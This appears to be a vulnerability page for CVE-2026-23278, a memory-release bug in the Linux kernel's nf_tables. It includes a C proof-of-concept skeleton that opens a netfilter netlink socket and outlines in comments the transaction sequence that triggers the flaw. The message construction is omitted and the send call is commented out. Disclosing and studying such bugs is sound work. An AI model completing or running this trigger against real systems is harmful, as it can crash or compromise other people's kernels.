CVE-2026-23278 Linux内核nf_tables内存释放漏洞

/* * PoC for CVE-2026-23278 * This code demonstrates the logic to trigger the nf_tables catchall element bug. * It requires a Linux kernel with the vulnerability and libmnl. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> int main() { printf("[+] Attempting to trigger CVE-2026-23278\n"); // 1. Create a Netlink socket to communicate with the kernel int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (fd < 0) { perror("socket"); return -1; } // 2. Construct a batched transaction (NFQNL_MSG_BATCH) // - Create a table // - Create a set with catchall elements // - Add a new catchall element in the transaction // - Delete the set holding the catchall elements in the same transaction // - Abort the transaction // Note: Detailed Netlink attribute construction omitted for brevity. // The key is the sequence of operations causing the abort path to miss elements. printf("[+] Sending malformed transaction...\n"); // send_malicious_batch(fd); close(fd); printf("[+] Check dmesg for WARNING: nft_data_release\n"); return 0; }